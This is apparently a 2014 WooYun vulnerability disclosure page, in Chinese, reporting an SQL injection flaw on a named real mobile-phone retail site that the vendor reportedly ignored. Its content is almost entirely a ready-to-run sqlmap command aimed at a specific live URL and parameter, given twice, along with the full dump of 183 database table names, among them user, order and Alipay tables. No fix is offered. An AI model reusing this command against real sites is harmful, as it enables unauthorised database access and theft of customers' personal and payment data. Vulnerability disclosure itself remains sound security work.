当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077748

漏洞标题:可以注入拿到所有用户的信息

相关厂商:三九手机网

漏洞作者: 路人甲

提交时间:2014-09-29 12:10

修复时间:2014-11-13 12:12

公开时间:2014-11-13 12:12

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

sqlmap.py -u "http://m.ch999.com/productxinde.aspx?ppid=24019&proid=99999999" --table -D "web999"
Database: web999
[183 tables]
+-------------------------------+
| Ad |
| AdItem |
| AdKind |
| Ads |
| AppCategory |
| AppList |
| AreaList |
| Blacklist |
| CategoryFitting |
| Channel |
| ChannelFloor |
| ChannelProduct |
| ChinaMobileContract |
| ClientComments |
| ClientError |
| ClientIndexBlock |
| ClientIndexImg |
| ClientPush |
| ClubProduct |
| Collection |
| Comment |
| CustomCode |
| Dv_User |
| ExternalProduct |
| Groupbuy |
| GroupbuyItem |
| Haoma_tmp |
| IndexModuleInfo |
| IndexModuleType |
| KucunStatusManage |
| LimitBuyRecord |
| LogisticsTrack |
| LogisticsTrackIMEI |
| MIndexAd |
| MyLabel |
| MyLabelDetail |
| NotifyParameterInfo |
| NumberCard |
| OneToBuy |
| OneToBuyLogs |
| PARAM_COLL_VIEW |
| PackagePlan |
| Paimai |
| PaimaiLog |
| PaimaiNotice |
| ParamGroup |
| ParamValue |
| PayLog_Notify |
| PayLog_QFQPay |
| PeoplePayLog |
| ProductAdSet |
| ProductCorrection |
| ProductImage |
| PromoCode |
| ReapirParts |
| Repair |
| ReserveBuy |
| ReviewReply |
| SYS_MENU |
| SYS_USER_MENU |
| SearchReplace |
| Soft |
| SoftClass |
| SoftComment |
| SpecialPackageFee |
| SpecialPackageFee_bak20140113 |
| SystemDictionary |
| T_FlushCacheServeLink |
| T_ProductAgreemement |
| T_SalesPromotion |
| T_UnicomWKPackage |
| Taocan |
| TaocanDX |
| Test_Answer |
| Test_Question |
| Tryout |
| TryoutComment |
| TryoutInfo |
| TryoutReport |
| TryoutUser |
| Tuan |
| TuanBuy |
| TuanLog |
| TuanPrice |
| UserDataSave |
| UserInfo |
| UserRight |
| UserSearchHistory |
| VIEW_Feature |
| VIEW_PARAM |
| VIEW_PRODUCT_PARAM |
| VIEW_PRODUCT_ST |
| VIEW_PRODUCT_ST_ADMIN |
| VIEW_PRODUCT_ST_INFO |
| VIEW_PRODUCT_ST_INFO1 |
| VIEW_PRODUCT_ST_INFO_ADMIN |
| VIEW_SEARCH_PRODUCT |
| VIEW_SEARCH_PRODUCT2 |
| VIEW_SEARCH_PRODUCT_O |
| VIEW_SEARCH_PRODUCT_O2 |
| VIEW_SEARCH_PRODUCTyn |
| VIEW_ZERO_BUY |
| Web_Comment |
| Web_Down |
| Web_Down_Type |
| Web_bbs_repaly |
| alipayInfo |
| areainfo |
| areainfo_old |
| asyncData |
| brand |
| brandCategory |
| category |
| category1 |
| cer |
| codeBack |
| commentIds |
| dv_setup |
| errorLog |
| h1 |
| ipconfig |
| kcStates |
| limitbuy |
| limitbuy_old2 |
| links |
| maintains |
| news |
| news_pinlun |
| newsclass |
| priceupDate |
| product |
| productAreaInfo |
| productCS |
| productFeture |
| productFetureInfo |
| productGift |
| productInfoOld |
| productPic |
| productReview |
| productReviewImage |
| productStDetail |
| productStInfo |
| productStandard |
| product_cs |
| product_cs_basic |
| product_join |
| product_kc |
| product_price_basic |
| product_price_pk |
| product_xh |
| productimage_bak140724 |
| productprice |
| productprice_day |
| producttc |
| province |
| querecord |
| rproduct |
| searchrecord |
| shopDetail |
| shouhou |
| shouhou_bbs |
| shouhou_bbs_replay |
| shouhou_class |
| shouhou_comment |
| sysdiagrams |
| t1_ |
| tSiteErrors |
| taocan_basic |
| taocan_card |
| taocan_cost |
| taocan_cost_bak20140214 |
| tmpBasket |
| topicinfo |
| tousu |
| userMenu |
| userOrderInfo |
| usertable |
| webad |
| webcall |
| webinfo |
| weixin_code |
| weixiuprice |
| zol |
+-------------------------------+

漏洞证明:

sqlmap.py -u "http://m.ch999.com/productxinde.aspx?ppid=24019&proid=99999999" --table -D "web999"
Database: web999
[183 tables]
+-------------------------------+
| Ad |
| AdItem |
| AdKind |
| Ads |
| AppCategory |
| AppList |
| AreaList |
| Blacklist |
| CategoryFitting |
| Channel |
| ChannelFloor |
| ChannelProduct |
| ChinaMobileContract |
| ClientComments |
| ClientError |
| ClientIndexBlock |
| ClientIndexImg |
| ClientPush |
| ClubProduct |
| Collection |
| Comment |
| CustomCode |
| Dv_User |
| ExternalProduct |
| Groupbuy |
| GroupbuyItem |
| Haoma_tmp |
| IndexModuleInfo |
| IndexModuleType |
| KucunStatusManage |
| LimitBuyRecord |
| LogisticsTrack |
| LogisticsTrackIMEI |
| MIndexAd |
| MyLabel |
| MyLabelDetail |
| NotifyParameterInfo |
| NumberCard |
| OneToBuy |
| OneToBuyLogs |
| PARAM_COLL_VIEW |
| PackagePlan |
| Paimai |
| PaimaiLog |
| PaimaiNotice |
| ParamGroup |
| ParamValue |
| PayLog_Notify |
| PayLog_QFQPay |
| PeoplePayLog |
| ProductAdSet |
| ProductCorrection |
| ProductImage |
| PromoCode |
| ReapirParts |
| Repair |
| ReserveBuy |
| ReviewReply |
| SYS_MENU |
| SYS_USER_MENU |
| SearchReplace |
| Soft |
| SoftClass |
| SoftComment |
| SpecialPackageFee |
| SpecialPackageFee_bak20140113 |
| SystemDictionary |
| T_FlushCacheServeLink |
| T_ProductAgreemement |
| T_SalesPromotion |
| T_UnicomWKPackage |
| Taocan |
| TaocanDX |
| Test_Answer |
| Test_Question |
| Tryout |
| TryoutComment |
| TryoutInfo |
| TryoutReport |
| TryoutUser |
| Tuan |
| TuanBuy |
| TuanLog |
| TuanPrice |
| UserDataSave |
| UserInfo |
| UserRight |
| UserSearchHistory |
| VIEW_Feature |
| VIEW_PARAM |
| VIEW_PRODUCT_PARAM |
| VIEW_PRODUCT_ST |
| VIEW_PRODUCT_ST_ADMIN |
| VIEW_PRODUCT_ST_INFO |
| VIEW_PRODUCT_ST_INFO1 |
| VIEW_PRODUCT_ST_INFO_ADMIN |
| VIEW_SEARCH_PRODUCT |
| VIEW_SEARCH_PRODUCT2 |
| VIEW_SEARCH_PRODUCT_O |
| VIEW_SEARCH_PRODUCT_O2 |
| VIEW_SEARCH_PRODUCTyn |
| VIEW_ZERO_BUY |
| Web_Comment |
| Web_Down |
| Web_Down_Type |
| Web_bbs_repaly |
| alipayInfo |
| areainfo |
| areainfo_old |
| asyncData |
| brand |
| brandCategory |
| category |
| category1 |
| cer |
| codeBack |
| commentIds |
| dv_setup |
| errorLog |
| h1 |
| ipconfig |
| kcStates |
| limitbuy |
| limitbuy_old2 |
| links |
| maintains |
| news |
| news_pinlun |
| newsclass |
| priceupDate |
| product |
| productAreaInfo |
| productCS |
| productFeture |
| productFetureInfo |
| productGift |
| productInfoOld |
| productPic |
| productReview |
| productReviewImage |
| productStDetail |
| productStInfo |
| productStandard |
| product_cs |
| product_cs_basic |
| product_join |
| product_kc |
| product_price_basic |
| product_price_pk |
| product_xh |
| productimage_bak140724 |
| productprice |
| productprice_day |
| producttc |
| province |
| querecord |
| rproduct |
| searchrecord |
| shopDetail |
| shouhou |
| shouhou_bbs |
| shouhou_bbs_replay |
| shouhou_class |
| shouhou_comment |
| sysdiagrams |
| t1_ |
| tSiteErrors |
| taocan_basic |
| taocan_card |
| taocan_cost |
| taocan_cost_bak20140214 |
| tmpBasket |
| topicinfo |
| tousu |
| userMenu |
| userOrderInfo |
| usertable |
| webad |
| webcall |
| webinfo |
| weixin_code |
| weixiuprice |
| zol |
+-------------------------------+

修复方案:

我不会

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝